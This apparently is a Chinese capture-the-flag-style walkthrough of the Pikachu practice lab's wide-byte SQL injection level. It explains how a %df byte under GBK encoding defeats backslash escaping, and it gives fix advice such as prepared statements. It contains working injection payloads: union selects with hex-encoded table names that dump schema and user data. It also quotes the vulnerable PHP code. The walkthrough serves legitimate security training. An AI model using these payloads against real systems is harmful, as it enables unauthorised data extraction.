Pikachu靶场通关笔记(28) — SQL Inject (宽字节注入进阶与原理)

40次阅读
没有评论

摘要 / 前言:在前面的关卡中,如果开发者使用了 addslashes()、mysql_real_escape_string() 或魔术引号(Magic Quotes)对输入进行了转义(在单引号前加 \),常规的注入就会失败。
但是,如果数据库连接使用了 GBK 等宽字节字符集(双字节编码),我们可以利用 PHP 和 MySQL 在字符编码处理上的差异,通过构造特殊的字节(如 %df),让 MySQL 误以为转义符 \ 是某个汉字的一部分,从而“吃掉”转义符,实现单引号的逃逸。这就是 宽字节注入(Wide Byte Injection)
在进阶利用中,我们解决了两个核心问题:

  1. 字符串内引号问题: 使用 16 进制编码(Hex)绕过表名 / 列名的单引号限制。
  2. 回显疑惑: 理解为何浏览器显示 \ 而数据库却“吃掉”了它。

一、漏洞成因分析

  1. 输入过滤: 后端使用了转义函数,将 ‘ 变成了 \’ (Hex: 5C 27)。
  2. 数据库编码: 数据库连接显式设置了 set character_set_client=gbk。
  3. 编码差异:
    • PHP 发送数据时是字节流。
    • MySQL 接收到数据后,因为是 GBK 编码,认为两个字节代表一个汉字。
    • 当我们将 %df (Hex: DF) 放在 ‘ 前面时,PHP 转义会插入 \ (Hex: 5C)。
    • 组合结果:DF 5C 27。
    • MySQL 解析:DF 5C 是一个汉字,27 是单引号。\ 被吞噬,单引号生效。

二、核心原理答疑:为什么 \ 还在?

在注入回显中,我们可能会看到类似 admin\' 的乱码,其中 \ 依然可见。

  • 字节流:Payload %df' 经过 PHP 转义后,变成了三个字节:DF5C27
    • DF: 我们构造的宽字节高位。
    • 5C: PHP 添加的反斜杠 \ (ASCII 码)。
    • 27: 单引号 '
  • MySQL (GBK) 视角: (DF 5C) 被解析为一个汉字,27 被解析为单引号。转义失效,注入成功。
  • 浏览器 (UTF-8) 视角: 视觉上转义符还在,但逻辑上已失效。

三、进阶技巧:使用 16 进制绕过字符串引号

当需要在 WHERE 子句中使用字符串(如 table_name='member')时,直接写 'member' 会导致单引号再次被转义。解决方法是将字符串转换为 16 进制

  • 转换方法:
    • pikachu -> 0x70696b61636875
    • member -> 0x6d656d626572

四、完整通关 Payload

Burp Suite 中发送请求,以避免浏览器自动 URL 编码干扰。

  • 在 Chrome/Firefox 的输入框里输入 %df’,浏览器为了安全和传输规范,会自动对 % 进行 URL 编码。
    • 你输入:%df’
    • 浏览器发送:%25df%27(% 变成了 %25)
    • PHP 接收到:字符串 “%df'”(即 3 个字符 %, d, f 以及 ‘)
    • PHP 转义:%df\’
    • 底层二进制: 25 64 66 5C 27
    • 结果: 66 (f) 和 5C () 组合不出来汉字。所以 \ 还在那里,单引号依然被转义。
  • 需要做的(Burp Suite):
    你必须使用 Burp Suite 的 Repeater(重发器),直接修改 POST 数据包。
    确保 Body 中的数据是:
    name=kobe%df’+or+1=1%23
    • PHP 在接收 POST 数据时会自动进行一次 URL 解码。
    • %df 解码为 0xDF。
    • %27 解码为 ‘。
    • PHP escape 转义后变成:0xDF + \ (0x5C) + ‘。
    • MySQL (GBK) 看到 0xDF 0x5C -> 认为这是一个汉字(運)。
    • 剩下的 ‘ 就逃逸出来了。

1. 验证注入点

  • Payload:
    admin%df' or 1=1#
  • 效果: 成功显示所有用户数据。
Pikachu 靶场通关笔记(28) — SQL Inject (宽字节注入进阶与原理)

2. 爆数据库名 & 版本

  • Payload:
    admin%df' union select database(),version()#
Pikachu 靶场通关笔记(28) — SQL Inject (宽字节注入进阶与原理)

3. 爆表名 (使用 16 进制)

此处 pikachu 转为 16 进制。

  • Payload:admin%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x70696b61636875#
    • 注:这里使用了 0x… 代替 database() 也是一种思路,或者直接用 database() 函数更方便。
Pikachu 靶场通关笔记(28) — SQL Inject (宽字节注入进阶与原理)

4. 爆列名 (使用 16 进制)

此处必须处理 table_name='member' 的单引号问题。

  • Payload:admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6d656d626572#
    • 0x6d656d626572 解码后即为 member
Pikachu 靶场通关笔记(28) — SQL Inject (宽字节注入进阶与原理)

5. 爆数据

  • Payload:admin%df' union select 1,group_concat(username,0x3a,email) from member#
    • 0x3a 是冒号 : 的 16 进制,用于分隔账号密码。
Pikachu 靶场通关笔记(28) — SQL Inject (宽字节注入进阶与原理)

五、源码逻辑


if(isset($_POST['submit']) && $_POST['name']!=null){$name = escape($link,$_POST['name']);
    $query="select id,email from member where username='$name'";// 这里的变量是字符型,需要考虑闭合
    // 设置 mysql 客户端来源编码是 gbk, 这个设置导致出现宽字节注入问题
    $set = "set character_set_client=gbk";
    execute($link,$set);
    //mysqi_query 不打印错误描述
    ...........
    }
}

六、修复建议

  1. 统一编码: 确保 PHP 连接数据库的编码(character_set_client)、数据库内部存储编码、网页显示编码全部统一为 UTF-8,彻底杜绝宽字节注入的土壤。
  2. 正确转义: 使用 mysql_real_escape_string() 并且在连接时正确设置 charset。
  3. 预编译 (最佳): 使用 PDO 预编译,不给 SQL 解析器任何“组合字符”产生歧义的机会。
正文完
 0
评论(没有评论)